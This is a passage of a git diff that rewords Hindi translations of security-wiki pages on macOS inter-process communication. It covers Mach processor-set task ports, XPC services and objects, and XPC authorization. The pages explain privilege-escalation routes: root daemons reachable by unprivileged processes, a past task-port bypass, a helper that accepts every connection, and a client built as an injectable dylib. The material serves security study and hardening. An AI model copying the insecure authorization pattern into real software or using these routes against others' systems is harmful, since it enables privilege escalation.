पोर्ट पर भेजा जाता है जिसे launchd द्वारा प्रबंधित किया जाता है (जहां इसे स्वीकार किया जाएगा)। इसे अपवाद ट्रायेज कहा जाता है। -ध्यान दें कि अंत में, यदि इसे सही तरीके से संभाला नहीं गया, तो रिपोर्ट को ReportCrash डेमन द्वारा संभाला जाएगा। हालाँकि, एक ही टास्क में दूसरे थ्रेड के लिए अपवाद को प्रबंधित करना संभव है, यही वह है जो क्रैश रिपोर्टिंग टूल जैसे `PLCreashReporter` करते हैं। +ध्यान दें कि अंत में, यदि इसे सही तरीके से संभाला नहीं गया, तो रिपोर्ट को ReportCrash डेमन द्वारा संभाला जाएगा। हालांकि, एक ही टास्क में दूसरे थ्रेड के लिए अपवाद को प्रबंधित करना संभव है, यही वह है जो क्रैश रिपोर्टिंग टूल जैसे `PLCreashReporter` करता है। ## Other Objects ### Clock -कोई भी उपयोगकर्ता घड़ी के बारे में जानकारी प्राप्त कर सकता है, हालाँकि समय सेट करने या अन्य सेटिंग्स को संशोधित करने के लिए रूट होना आवश्यक है। +कोई भी उपयोगकर्ता घड़ी के बारे में जानकारी प्राप्त कर सकता है, हालांकि समय सेट करने या अन्य सेटिंग्स को संशोधित करने के लिए रूट होना आवश्यक है। -जानकारी प्राप्त करने के लिए `clock` सबसिस्टम से फ़ंक्शन कॉल करना संभव है जैसे: `clock_get_time`, `clock_get_attributtes` या `clock_alarm`\ -मानों को संशोधित करने के लिए `clock_priv` सबसिस्टम का उपयोग किया जा सकता है जैसे `clock_set_time` और `clock_set_attributes`। +जानकारी प्राप्त करने के लिए `clock` सबसिस्टम से फ़ंक्शंस को कॉल करना संभव है जैसे: `clock_get_time`, `clock_get_attributtes` या `clock_alarm`\ +मानों को संशोधित करने के लिए `clock_priv` सबसिस्टम का उपयोग किया जा सकता है जैसे `clock_set_time` और `clock_set_attributes` के साथ। ### Processors and Processor Set -प्रोसेसर एपीआई एकल लॉजिकल प्रोसेसर को नियंत्रित करने की अनुमति देते हैं, फ़ंक्शन कॉल करके जैसे `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`... +प्रोसेसर एपीआई एकल लॉजिकल प्रोसेसर को नियंत्रित करने की अनुमति देते हैं, फ़ंक्शंस को कॉल करके जैसे `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`... इसके अलावा, **प्रोसेसर सेट** एपीआई कई प्रोसेसर को एक समूह में समूहित करने का एक तरीका प्रदान करते हैं। डिफ़ॉल्ट प्रोसेसर सेट को प्राप्त करने के लिए **`processor_set_default`** को कॉल करना संभव है।\ ये कुछ दिलचस्प एपीआई हैं जो प्रोसेसर सेट के साथ इंटरैक्ट करने के लिए हैं: @@ -1102,8 +1104,8 @@ macos-thread-injection-via-task-port.md - `processor_set_stack_usage` - `processor_set_info` -जैसा कि [**इस पोस्ट**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) में उल्लेख किया गया है, अतीत में, यह पहले उल्लेखित सुरक्षा को बायपास करने की अनुमति देता था ताकि अन्य प्रक्रियाओं में टास्क पोर्ट प्राप्त किए जा सकें और उन्हें **`processor_set_tasks`** को कॉल करके नियंत्रित किया जा सके और हर प्रक्रिया पर एक होस्ट पोर्ट प्राप्त किया जा सके।\ -आजकल, उस फ़ंक्शन का उपयोग करने के लिए आपको रूट की आवश्यकता होती है और यह सुरक्षित है, इसलिए आप केवल अनप्रोटेक्टेड प्रक्रियाओं पर इन पोर्ट्स को प्राप्त कर सकेंगे। +जैसा कि [**इस पोस्ट**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/) में उल्लेख किया गया है, अतीत में, इससे पहले उल्लेखित सुरक्षा को बायपास करने की अनुमति मिली थी ताकि अन्य प्रक्रियाओं में टास्क पोर्ट प्राप्त किए जा सकें और उन्हें **`processor_set_tasks`** को कॉल करके नियंत्रित किया जा सके और हर प्रक्रिया पर एक होस्ट पोर्ट प्राप्त किया जा सके।\ +आजकल, उस फ़ंक्शन का उपयोग करने के लिए आपको रूट की आवश्यकता होती है और यह सुरक्षित है, इसलिए आप केवल असुरक्षित प्रक्रियाओं पर इन पोर्टों को प्राप्त कर सकेंगे। आप इसे आजमा सकते हैं: @@ -1220,6 +1222,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication For more information about how this **communication work** on how it **could be vulnerable** check: + {{#ref}} macos-xpc/ {{#endref}} @@ -1232,6 +1235,7 @@ MIC basically **generates the needed code** for server and client to communicate For more info check: + {{#ref}} macos-mig-mach-interface-generator.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md index 969c7f543..2dadd87d6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md @@ -4,23 +4,23 @@ ## Basic Information -XPC, जिसका मतलब XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन है, macOS और iOS पर **प्रोसेस के बीच संचार** के लिए एक ढांचा है। XPC **सुरक्षित, असिंक्रोनस मेथड कॉल्स** करने के लिए एक तंत्र प्रदान करता है जो सिस्टम पर विभिन्न प्रोसेस के बीच होता है। यह एप्पल के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन्स** के **निर्माण** की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता किए गए प्रोसेस से संभावित नुकसान को सीमित करता है। +XPC, जिसका मतलब XNU (macOS द्वारा उपयोग किया जाने वाला कर्नेल) इंटर-प्रोसेस कम्युनिकेशन है, macOS और iOS पर **प्रोसेस के बीच संचार** के लिए एक ढांचा है। XPC **सुरक्षित, असिंक्रोनस मेथड कॉल्स** करने के लिए एक तंत्र प्रदान करता है जो सिस्टम पर विभिन्न प्रोसेस के बीच होता है। यह Apple के सुरक्षा सिद्धांत का एक हिस्सा है, जो **विशेषाधिकार-सेपरेटेड एप्लिकेशन्स** के निर्माण की अनुमति देता है जहाँ प्रत्येक **घटक** केवल **उन्हीं अनुमतियों** के साथ चलता है जिनकी उसे अपने कार्य को करने के लिए आवश्यकता होती है, इस प्रकार एक समझौता किए गए प्रोसेस से संभावित नुकसान को सीमित करता है। XPC एक प्रकार के इंटर-प्रोसेस कम्युनिकेशन (IPC) का उपयोग करता है, जो एक सेट है विभिन्न प्रोग्रामों के लिए जो एक ही सिस्टम पर चल रहे हैं, डेटा को आगे-पीछे भेजने के लिए। XPC के प्राथमिक लाभों में शामिल हैं: -1. **सुरक्षा**: विभिन्न प्रोसेस में कार्यों को अलग करके, प्रत्येक प्रोसेस को केवल वही अनुमतियाँ दी जा सकती हैं जिनकी उसे आवश्यकता होती है। इसका मतलब है कि यदि कोई प्रोसेस समझौता कर लिया जाता है, तो उसके पास नुकसान करने की सीमित क्षमता होती है। -2. **स्थिरता**: XPC क्रैश को उस घटक तक सीमित करने में मदद करता है जहाँ वे होते हैं। यदि कोई प्रोसेस क्रैश हो जाता है, तो इसे बिना बाकी सिस्टम को प्रभावित किए पुनः प्रारंभ किया जा सकता है। +1. **सुरक्षा**: विभिन्न प्रोसेस में कार्य को अलग करके, प्रत्येक प्रोसेस को केवल वही अनुमतियाँ दी जा सकती हैं जिनकी उसे आवश्यकता होती है। इसका मतलब है कि यदि कोई प्रोसेस समझौता कर लिया जाता है, तो उसके पास नुकसान करने की सीमित क्षमता होती है। +2. **स्थिरता**: XPC क्रैश को उस घटक तक सीमित करने में मदद करता है जहाँ वे होते हैं। यदि कोई प्रोसेस क्रैश हो जाता है, तो इसे बिना सिस्टम के बाकी हिस्से को प्रभावित किए पुनः प्रारंभ किया जा सकता है। 3. **प्रदर्शन**: XPC आसान समवर्तीता की अनुमति देता है, क्योंकि विभिन्न कार्यों को विभिन्न प्रोसेस में एक साथ चलाया जा सकता है। -एकमात्र **नुकसान** यह है कि **किसी एप्लिकेशन को कई प्रोसेस में अलग करना** और उन्हें XPC के माध्यम से संचारित करना **कम प्रभावी** है। लेकिन आज के सिस्टम में यह लगभग ध्यान देने योग्य नहीं है और लाभ बेहतर हैं। +एकमात्र **नुकसान** यह है कि **एक एप्लिकेशन को कई प्रोसेस में विभाजित करना** और उन्हें XPC के माध्यम से संचारित करना **कम प्रभावी** है। लेकिन आज के सिस्टम में यह लगभग ध्यान देने योग्य नहीं है और लाभ बेहतर हैं। ## Application Specific XPC services -एक एप्लिकेशन के XPC घटक **एप्लिकेशन के अंदर ही होते हैं।** उदाहरण के लिए, Safari में आप इन्हें **`/Applications/Safari.app/Contents/XPCServices`** में पा सकते हैं। इनके पास **`.xpc`** एक्सटेंशन होता है (जैसे **`com.apple.Safari.SandboxBroker.xpc`**) और ये मुख्य बाइनरी के साथ **बंडल** होते हैं: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` और एक `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` +एक एप्लिकेशन के XPC घटक **स्वयं एप्लिकेशन के अंदर होते हैं।** उदाहरण के लिए, Safari में आप इन्हें **`/Applications/Safari.app/Contents/XPCServices`** में पा सकते हैं। इनके पास **`.xpc`** एक्सटेंशन होता है (जैसे **`com.apple.Safari.SandboxBroker.xpc`**) और ये मुख्य बाइनरी के साथ **बंडल** होते हैं: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker` और एक `Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist` -जैसा कि आप सोच रहे होंगे, एक **XPC घटक के पास अन्य XPC घटकों या मुख्य ऐप बाइनरी की तुलना में विभिन्न अधिकार और विशेषताएँ होंगी।** सिवाय इसके कि यदि एक XPC सेवा को [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) इसके **Info.plist** फ़ाइल में “True” पर सेट किया गया है। इस मामले में, XPC सेवा उस **सुरक्षा सत्र में चलेगी** जो एप्लिकेशन ने इसे कॉल किया। +जैसा कि आप सोच रहे होंगे, एक **XPC घटक के पास अन्य XPC घटकों या मुख्य ऐप बाइनरी की तुलना में विभिन्न अधिकार और विशेषताएँ होंगी।** सिवाय इसके कि यदि एक XPC सेवा को [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information_property_list/xpcservice/joinexistingsession) के साथ “True” पर सेट किया गया है इसके **Info.plist** फ़ाइल में। इस मामले में, XPC सेवा उस **सुरक्षा सत्र में चलेगी** जो एप्लिकेशन ने इसे कॉल किया। XPC सेवाएँ **launchd** द्वारा आवश्यकतानुसार **शुरू** की जाती हैं और सभी कार्यों के **पूर्ण** होने पर सिस्टम संसाधनों को मुक्त करने के लिए **बंद** कर दी जाती हैं। **एप्लिकेशन-विशिष्ट XPC घटक केवल एप्लिकेशन द्वारा उपयोग किए जा सकते हैं**, इस प्रकार संभावित कमजोरियों से जुड़े जोखिम को कम करते हैं। @@ -62,18 +62,18 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist ``` -**`LaunchDameons`** में चलने वाले प्रक्रियाएँ रूट द्वारा चलाए जाते हैं। इसलिए यदि एक अप्रिविलेज्ड प्रक्रिया इनमें से किसी के साथ बात कर सकती है, तो यह विशेषाधिकार बढ़ाने में सक्षम हो सकती है। +**`LaunchDameons`** में चलने वाले प्रक्रियाएँ रूट द्वारा चलाए जाते हैं। इसलिए यदि एक अप्रिविलेज्ड प्रक्रिया इनमें से किसी एक के साथ बात कर सकती है, तो यह विशेषाधिकार बढ़ाने में सक्षम हो सकती है। ## XPC ऑब्जेक्ट्स - **`xpc_object_t`** -हर XPC संदेश एक डिक्शनरी ऑब्जेक्ट है जो सीरियलाइजेशन और डीसिरियलाइजेशन को सरल बनाता है। इसके अलावा, `libxpc.dylib` अधिकांश डेटा प्रकारों की घोषणा करता है, इसलिए यह संभव है कि प्राप्त डेटा अपेक्षित प्रकार का हो। C API में हर ऑब्जेक्ट एक `xpc_object_t` है (और इसके प्रकार की जांच `xpc_get_type(object)` का उपयोग करके की जा सकती है)।\ +हर XPC संदेश एक डिक्शनरी ऑब्जेक्ट है जो सीरियलाइजेशन और डीसिरियलाइजेशन को सरल बनाता है। इसके अलावा, `libxpc.dylib` अधिकांश डेटा प्रकारों की घोषणा करता है, इसलिए यह संभव है कि प्राप्त डेटा अपेक्षित प्रकार का हो। C API में हर ऑब्जेक्ट एक `xpc_object_t` है (और इसका प्रकार `xpc_get_type(object)` का उपयोग करके जांचा जा सकता है)।\ इसके अलावा, फ़ंक्शन `xpc_copy_description(object)` का उपयोग ऑब्जेक्ट का स्ट्रिंग प्रतिनिधित्व प्राप्त करने के लिए किया जा सकता है, जो डिबगिंग उद्देश्यों के लिए उपयोगी हो सकता है।\ -इन ऑब्जेक्ट्स में कुछ विधियाँ भी होती हैं जिन्हें कॉल किया जा सकता है जैसे `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`... +इन ऑब्जेक्ट्स में कुछ विधियाँ भी होती हैं जैसे `xpc__copy`, `xpc__equal`, `xpc__hash`, `xpc__serialize`, `xpc__deserialize`... -`xpc_object_t` को `xpc__create` फ़ंक्शन को कॉल करके बनाया जाता है, जो आंतरिक रूप से `_xpc_base_create(Class, Size)` को कॉल करता है जहाँ ऑब्जेक्ट की क्लास का प्रकार (एक `XPC_TYPE_*` में से) और इसका आकार (मेटाडेटा के लिए कुछ अतिरिक्त 40B आकार में जोड़ा जाएगा) निर्दिष्ट किया जाता है। जिसका अर्थ है कि ऑब्जेक्ट का डेटा 40B के ऑफसेट से शुरू होगा।\ -इसलिए, `xpc__t` एक प्रकार का उपवर्ग है `xpc_object_t` का, जो `os_object_t*` का उपवर्ग होगा। +`xpc_object_t` को `xpc__create` फ़ंक्शन को कॉल करके बनाया जाता है, जो आंतरिक रूप से `_xpc_base_create(Class, Size)` को कॉल करता है जहाँ ऑब्जेक्ट की क्लास का प्रकार (एक `XPC_TYPE_*` में से) और इसका आकार (मेटाडेटा के लिए कुछ अतिरिक्त 40B आकार में जोड़ा जाएगा) निर्दिष्ट किया जाता है। इसका मतलब है कि ऑब्जेक्ट का डेटा 40B के ऑफसेट से शुरू होगा।\ +इसलिए, `xpc__t` एक प्रकार का `xpc_object_t` का उपवर्ग है जो `os_object_t*` का उपवर्ग होगा। > [!WARNING] > ध्यान दें कि यह डेवलपर होना चाहिए जो `xpc_dictionary_[get/set]_` का उपयोग करके एक कुंजी के प्रकार और वास्तविक मान को प्राप्त या सेट करता है। @@ -81,16 +81,16 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist - **`xpc_pipe`** एक **`xpc_pipe`** एक FIFO पाइप है जिसका उपयोग प्रक्रियाएँ संवाद करने के लिए कर सकती हैं (संवाद में Mach संदेशों का उपयोग होता है)।\ -एक XPC सर्वर बनाने के लिए `xpc_pipe_create()` या `xpc_pipe_create_from_port()` को कॉल करके इसे एक विशिष्ट Mach पोर्ट का उपयोग करके बनाया जा सकता है। फिर, संदेश प्राप्त करने के लिए `xpc_pipe_receive` और `xpc_pipe_try_receive` को कॉल किया जा सकता है। +एक XPC सर्वर बनाने के लिए `xpc_pipe_create()` या `xpc_pipe_create_from_port()` को कॉल करके इसे एक विशिष्ट Mach पोर्ट का उपयोग करके बनाया जा सकता है। फिर, संदेश प्राप्त करने के लिए `xpc_pipe_receive` और `xpc_pipe_try_receive` को कॉल करना संभव है। -ध्यान दें कि **`xpc_pipe`** ऑब्जेक्ट एक **`xpc_object_t`** है जिसमें इसके स्ट्रक्चर में उपयोग किए गए दो Mach पोर्ट और नाम (यदि कोई हो) की जानकारी होती है। नाम, उदाहरण के लिए, डेमन `secinitd` अपने plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` में पाइप को `com.apple.secinitd` के रूप में कॉन्फ़िगर करता है। +ध्यान दें कि **`xpc_pipe`** ऑब्जेक्ट एक **`xpc_object_t`** है जिसमें इसके संरचना में उपयोग किए गए दो Mach पोर्ट और नाम (यदि कोई हो) के बारे में जानकारी होती है। नाम, उदाहरण के लिए, डेमन `secinitd` अपने plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` में पाइप को `com.apple.secinitd` के रूप में कॉन्फ़िगर करता है। एक **`xpc_pipe`** का उदाहरण **bootstrap pip**e है जो **`launchd`** द्वारा बनाया गया है जिससे Mach पोर्ट साझा करना संभव हो जाता है। - **`NSXPC*`** ये Objective-C उच्च स्तर के ऑब्जेक्ट हैं जो XPC कनेक्शनों का अमूर्तकरण करने की अनुमति देते हैं।\ -इसके अलावा, इन ऑब्जेक्ट्स को DTrace के साथ डिबग करना पिछले ऑब्जेक्ट्स की तुलना में आसान है। +इसके अलावा, इन ऑब्जेक्ट्स को DTrace के साथ डिबग करना पिछले वाले की तुलना में आसान है। - **`GCD Queues`** @@ -98,14 +98,14 @@ XPC संदेशों को पास करने के लिए GCD क ## XPC सेवाएँ -ये **`.xpc`** एक्सटेंशन वाले बंडल हैं जो अन्य परियोजनाओं के **`XPCServices`** फ़ोल्डर के अंदर स्थित हैं और `Info.plist` में उनके पास `CFBundlePackageType` **`XPC!`** पर सेट होता है।\ -इस फ़ाइल में अन्य कॉन्फ़िगरेशन कुंजी होती हैं जैसे `ServiceType` जो Application, User, System या `_SandboxProfile` हो सकती है जो एक सैंडबॉक्स को परिभाषित कर सकती है या `_AllowedClients` जो आवश्यक अधिकार या ID को इंगित कर सकती है जो सेवा से संपर्क करने के लिए आवश्यक है। ये और अन्य कॉन्फ़िगरेशन विकल्प सेवा को लॉन्च करते समय कॉन्फ़िगर करने के लिए उपयोगी होंगे। +ये **`.xpc`** एक्सटेंशन वाले बंडल हैं जो अन्य परियोजनाओं के **`XPCServices`** फ़ोल्डर के अंदर स्थित हैं और `Info.plist` में उनके पास `CFBundlePackageType` **`XPC!`** सेट होता है।\ +इस फ़ाइल में अन्य कॉन्फ़िगरेशन कुंजी होती हैं जैसे `ServiceType` जो Application, User, System या `_SandboxProfile` हो सकता है जो एक सैंडबॉक्स को परिभाषित कर सकता है या `_AllowedClients` जो आवश्यक अधिकार या ID को इंगित कर सकता है जो सेवा से संपर्क करने के लिए आवश्यक है। ये और अन्य कॉन्फ़िगरेशन विकल्प सेवा को लॉन्च करते समय कॉन्फ़िगर करने के लिए उपयोगी होंगे। ### सेवा शुरू करना -ऐप **`xpc_connection_create_mach_service`** का उपयोग करके XPC सेवा से **कनेक्ट** करने का प्रयास करता है, फिर launchd डेमन को ढूंढता है और **`xpcproxy`** शुरू करता है। **`xpcproxy`** कॉन्फ़िगर की गई प्रतिबंधों को लागू करता है और प्रदान किए गए FDs और Mach पोर्ट के साथ सेवा को स्पॉन करता है। +ऐप एक XPC सेवा से **कनेक्ट** करने का प्रयास करता है `xpc_connection_create_mach_service` का उपयोग करके, फिर launchd डेमन को ढूंढता है और **`xpcproxy`** शुरू करता है। **`xpcproxy`** कॉन्फ़िगर की गई प्रतिबंधों को लागू करता है और प्रदान किए गए FDs और Mach पोर्ट के साथ सेवा को स्पॉन करता है। -XPC सेवा की खोज की गति को सुधारने के लिए, एक कैश का उपयोग किया जाता है। +XPC सेवा की खोज की गति में सुधार करने के लिए, एक कैश का उपयोग किया जाता है। यह `xpcproxy` की क्रियाओं को ट्रेस करना संभव है: ```bash @@ -116,7 +116,7 @@ XPC लाइब्रेरी `kdebug` का उपयोग करती ह ## XPC इवेंट संदेश -ऐप्लिकेशन विभिन्न इवेंट **संदेशों** के लिए **सदस्यता** ले सकते हैं, जिससे उन्हें ऐसे इवेंट होने पर **डिमांड पर शुरू** किया जा सके। इन सेवाओं के लिए **सेटअप** `launchd plist फाइलों` में किया जाता है, जो **पिछले वाले निर्देशिकाओं में** स्थित होती हैं और एक अतिरिक्त **`LaunchEvent`** कुंजी होती है। +ऐप्लिकेशन विभिन्न इवेंट **संदेशों** के लिए **सदस्यता** ले सकते हैं, जिससे उन्हें ऐसे इवेंट होने पर **डिमांड पर शुरू** किया जा सके। इन सेवाओं के लिए **सेटअप** `launchd plist फाइलों` में किया जाता है, जो **पिछले वाले निर्देशिकाओं** में स्थित होती हैं और एक अतिरिक्त **`LaunchEvent`** कुंजी होती है। ### XPC कनेक्टिंग प्रक्रिया जांच @@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/ ## XPC प्राधिकरण -Apple भी ऐप्स को **कुछ अधिकारों को कॉन्फ़िगर करने और उन्हें प्राप्त करने का तरीका** निर्धारित करने की अनुमति देता है, इसलिए यदि कॉल करने वाली प्रक्रिया के पास ये हैं, तो इसे XPC सेवा से एक विधि को **कॉल करने की अनुमति दी जाएगी**: +Apple ऐप्स को **कुछ अधिकारों को कॉन्फ़िगर करने और उन्हें प्राप्त करने का तरीका** निर्धारित करने की अनुमति भी देता है, इसलिए यदि कॉल करने वाली प्रक्रिया के पास वे हैं, तो इसे XPC सेवा से एक विधि को **कॉल करने की अनुमति दी जाएगी**: {{#ref}} macos-xpc-authorization.md @@ -281,7 +281,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server ``` -## XPC संचार उद्देश्य-सी कोड उदाहरण +## XPC संचार उद्देश्य-C कोड उदाहरण {{#tabs}} {{#tab name="oc_xpc_server.m"}} @@ -403,7 +403,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server ``` -## Dylb कोड के अंदर क्लाइंट +## Client inside a Dylb code ```objectivec // gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib // gcc injection example: @@ -440,13 +440,13 @@ return; ## Remote XPC यह कार्यक्षमता `RemoteXPC.framework` (जो `libxpc` से है) विभिन्न होस्टों के माध्यम से XPC के माध्यम से संवाद करने की अनुमति देती है।\ -जो सेवाएँ दूरस्थ XPC का समर्थन करती हैं, उनके plist में UsesRemoteXPC कुंजी होगी जैसे कि `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` के मामले में है। हालाँकि, सेवा `launchd` के साथ पंजीकृत होगी, यह `UserEventAgent` है जिसमें प्लगइन्स `com.apple.remoted.plugin` और `com.apple.remoteservicediscovery.events.plugin` कार्यक्षमता प्रदान करते हैं। +जो सेवाएँ दूरस्थ XPC का समर्थन करती हैं, उनके plist में UsesRemoteXPC कुंजी होगी, जैसे कि `/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist` के मामले में है। हालाँकि, सेवा `launchd` के साथ पंजीकृत होगी, यह `UserEventAgent` है जिसमें प्लगइन्स `com.apple.remoted.plugin` और `com.apple.remoteservicediscovery.events.plugin` हैं जो कार्यक्षमता प्रदान करते हैं। -इसके अलावा, `RemoteServiceDiscovery.framework` `com.apple.remoted.plugin` से जानकारी प्राप्त करने की अनुमति देता है जो `get_device`, `get_unique_device`, `connect` जैसी कार्यक्षमताएँ उजागर करता है... +इसके अलावा, `RemoteServiceDiscovery.framework` `com.apple.remoted.plugin` से जानकारी प्राप्त करने की अनुमति देता है, जो `get_device`, `get_unique_device`, `connect` जैसी कार्यक्षमताएँ उजागर करता है... -एक बार जब कनेक्ट का उपयोग किया जाता है और सेवा का सॉकेट `fd` एकत्र किया जाता है, तो `remote_xpc_connection_*` वर्ग का उपयोग करना संभव है। +एक बार जब connect का उपयोग किया जाता है और सेवा का सॉकेट `fd` एकत्र किया जाता है, तो `remote_xpc_connection_*` वर्ग का उपयोग करना संभव है। -यह CLI टूल `/usr/libexec/remotectl` का उपयोग करके दूरस्थ सेवाओं के बारे में जानकारी प्राप्त करना संभव है, जिसमें निम्नलिखित पैरामीटर हैं: +यह CLI टूल `/usr/libexec/remotectl` का उपयोग करके दूरस्थ सेवाओं के बारे में जानकारी प्राप्त करना संभव है, जिसमें निम्नलिखित पैरामीटर शामिल हैं: ```bash /usr/libexec/remotectl list # Get bridge devices /usr/libexec/remotectl show ...# Get device properties and services diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md index ec58106fa..0ec89f270 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md @@ -4,13 +4,13 @@ ## XPC Authorization -Apple एक और तरीका प्रस्तावित करता है यह सत्यापित करने के लिए कि क्या कनेक्टिंग प्रक्रिया के पास **एक एक्सपोज़्ड XPC मेथड को कॉल करने की अनुमति है**। +Apple एक और तरीका प्रस्तावित करता है जिससे यह प्रमाणित किया जा सके कि क्या कनेक्टिंग प्रक्रिया के पास **एक एक्सपोज़्ड XPC मेथड को कॉल करने की अनुमति है**। जब एक एप्लिकेशन को **एक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में क्रियाएँ निष्पादित करने की आवश्यकता होती है**, तो यह आमतौर पर विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में एप्लिकेशन चलाने के बजाय एक HelperTool को रूट के रूप में एक XPC सेवा के रूप में स्थापित करता है जिसे एप्लिकेशन से उन क्रियाओं को करने के लिए कॉल किया जा सकता है। हालाँकि, सेवा को कॉल करने वाले एप्लिकेशन के पास पर्याप्त प्राधिकरण होना चाहिए। ### ShouldAcceptNewConnection हमेशा YES -एक उदाहरण [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) में पाया जा सकता है। `App/AppDelegate.m` में यह **HelperTool** से **कनेक्ट** करने की कोशिश करता है। और `HelperTool/HelperTool.m` में फ़ंक्शन **`shouldAcceptNewConnection`** **कोई भी** पूर्व में निर्दिष्ट आवश्यकताओं की जांच **नहीं करेगा**। यह हमेशा YES लौटाएगा: +एक उदाहरण [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample) में पाया जा सकता है। `App/AppDelegate.m` में यह **कनेक्ट** करने की कोशिश करता है **HelperTool** से। और `HelperTool/HelperTool.m` में फ़ंक्शन **`shouldAcceptNewConnection`** **किसी भी** पूर्व में बताए गए आवश्यकताओं की जांच **नहीं करेगा**। यह हमेशा YES लौटाएगा: ```objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection // Called by our XPC listener when a new connection comes in. We configure the connection @@ -27,7 +27,7 @@ newConnection.exportedObject = self; return YES; } ``` -अधिक जानकारी के लिए कि इस जांच को सही तरीके से कैसे कॉन्फ़िगर करें: +इसके बारे में अधिक जानकारी के लिए कि इस जांच को सही तरीके से कैसे कॉन्फ़िगर किया जाए: {{#ref}} macos-xpc-connecting-process-check/ @@ -35,7 +35,7 @@ macos-xpc-connecting-process-check/ ### एप्लिकेशन अधिकार -हालांकि, जब HelperTool से एक विधि को कॉल किया जाता है, तो कुछ **अधिकार प्राप्त हो रहे हैं**। +हालांकि, जब **HelperTool से एक विधि को कॉल किया जाता है तो कुछ **अधिकार प्राप्ति** हो रही है**। `App/AppDelegate.m` से **`applicationDidFinishLaunching`** फ़ंक्शन ऐप के शुरू होने के बाद एक खाली अधिकार संदर्भ बनाएगा। यह हमेशा काम करना चाहिए।\ फिर, यह उस अधिकार संदर्भ में **कुछ अधिकार जोड़ने** की कोशिश करेगा `setupAuthorizationRights` को कॉल करके: @@ -172,15 +172,15 @@ block(authRightName, authRightDefault, authRightDesc); }]; } ``` -इसका मतलब है कि इस प्रक्रिया के अंत में, `commandInfo` के अंदर घोषित अनुमतियाँ `/var/db/auth.db` में संग्रहीत की जाएँगी। ध्यान दें कि वहाँ आप **प्रत्येक विधि** के लिए पा सकते हैं जो **प्रमाणीकरण** की आवश्यकता होगी, **अनुमति नाम** और **`kCommandKeyAuthRightDefault`**। बाद वाला **यह संकेत करता है कि इसे कौन प्राप्त कर सकता है**। +इसका मतलब है कि इस प्रक्रिया के अंत में, `commandInfo` के अंदर घोषित अनुमतियाँ `/var/db/auth.db` में संग्रहीत की जाएँगी। ध्यान दें कि वहाँ आप **प्रत्येक विधि** के लिए देख सकते हैं जो **प्रमाणीकरण** की आवश्यकता होगी, **अनुमति का नाम** और **`kCommandKeyAuthRightDefault`**। बाद वाला **यह संकेत करता है कि कौन इस अधिकार को प्राप्त कर सकता है**। -किसी अधिकार तक पहुँचने के लिए विभिन्न दायरे हैं। इनमें से कुछ को [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) में परिभाषित किया गया है (आप [यहाँ सभी पा सकते हैं](https://www.dssw.co.uk/reference/authorization-rights/)), लेकिन संक्षेप में: +एक अधिकार तक पहुँचने के लिए विभिन्न 